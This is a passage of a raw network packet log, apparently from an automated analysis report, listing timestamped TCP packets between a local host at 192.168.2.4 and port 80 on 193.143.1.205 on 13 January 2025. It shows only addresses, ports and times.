Jan 13, 2025 09:06:05.939831018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939835072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939841986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939855099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939862967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939874887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939888000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939899921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939909935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939913988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939925909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939927101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939941883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939944983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939994097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.957864046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.959660053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959683895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959703922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959716082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959726095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959732056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959734917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.959743023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.959768057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.963473082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.975836992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.977933884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.977953911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.977965117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.977974892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.977984905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.977996111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978007078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978099108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978099108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978099108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978108883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978126049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978137970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978147984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978158951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978164911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978168011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978178978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978184938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978216887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978583097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978621960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978650093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978669882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978707075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978722095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978765011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978775978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978806973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978820086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978830099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978838921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978848934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978853941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978863955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978878975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978885889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978888988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978899956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978904009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978914976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978924036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978934050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.978935957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978969097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.978998899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979011059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979022026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979048967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979052067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979058981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979070902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979079008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979109049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979147911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979159117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979170084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979180098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979191065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979201078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979206085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979212046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979233980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979294062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979305029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979336023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979337931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979348898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979358912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979370117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979373932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979379892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979389906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979401112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979424000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979619980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979630947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979645967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979654074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979655027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979665995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979676962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979686975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979688883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979696035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979707003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979712963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979717970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979729891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979754925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979798079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979808092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979827881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.979831934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.979880095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.981818914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998140097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998158932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998168945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998178959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998189926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998199940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998212099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998235941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998246908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998255014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998301983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998313904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998313904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998325109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998336077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998337030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998347044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998368979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998409986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998452902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998466015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998476982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998486042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998496056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998497009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998508930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998519897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.998519897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.998553038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.012317896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.012368917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.016084909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016153097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016164064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016176939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016187906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016192913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.016200066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016211987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.016239882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.018662930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030693054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030746937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030760050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030761003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030775070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030787945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030802011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030805111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030834913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030852079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030864000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030877113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030893087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030900002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030905962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030920029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030929089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030932903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030950069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.030949116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030983925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.030987978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.031033993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.036281109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.050626040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050661087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050673008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050693989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050707102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050723076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050734997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050749063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.050745964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.050745964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.050832987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.050832987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.068896055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.068924904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.068939924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.068953991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.068969011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.068981886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069003105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069003105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069016933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069034100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069046974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069053888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069067955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069068909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069082022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069099903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069108009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069123030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069129944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069134951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069181919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069627047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069641113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069653988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069678068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069708109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069715977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069736004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069750071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069762945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069777012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069787025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069788933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069802046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069804907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069822073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069833994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069837093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069849968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069873095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069881916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069883108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069895983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069900036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069905043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069927931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069940090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069948912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.069953918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.069998026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070161104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070174932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070188999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070200920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070213079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070214987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070228100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070244074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070259094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070264101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070264101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070278883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070286036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070291996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070307970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070328951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070341110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070342064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070354939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070363045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070369959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070379972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070400000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070411921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070413113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070425987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070446014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070460081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070461035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070472956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070487022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070497990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070518017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070568085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070580959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070612907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070615053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070626020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070640087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070660114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070684910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070811987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070831060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070844889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070858002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070872068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070884943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070888042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070899010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070910931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070918083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070930958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.070930958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.070951939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.085881948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089416027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089453936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089464903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089476109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089478016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089481115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089493990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089519024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089526892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089553118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089555979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089566946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089570999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089608908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089620113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089632988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089637041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089647055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089649916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.089660883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.089700937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.096757889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.107043028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107114077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107125998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.107127905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107151031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107168913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107182980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107187033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.107192039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107201099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.107259035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:06.121665955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:06.121685028 CET	80	49730	193.143.1.205	192.168.2.4
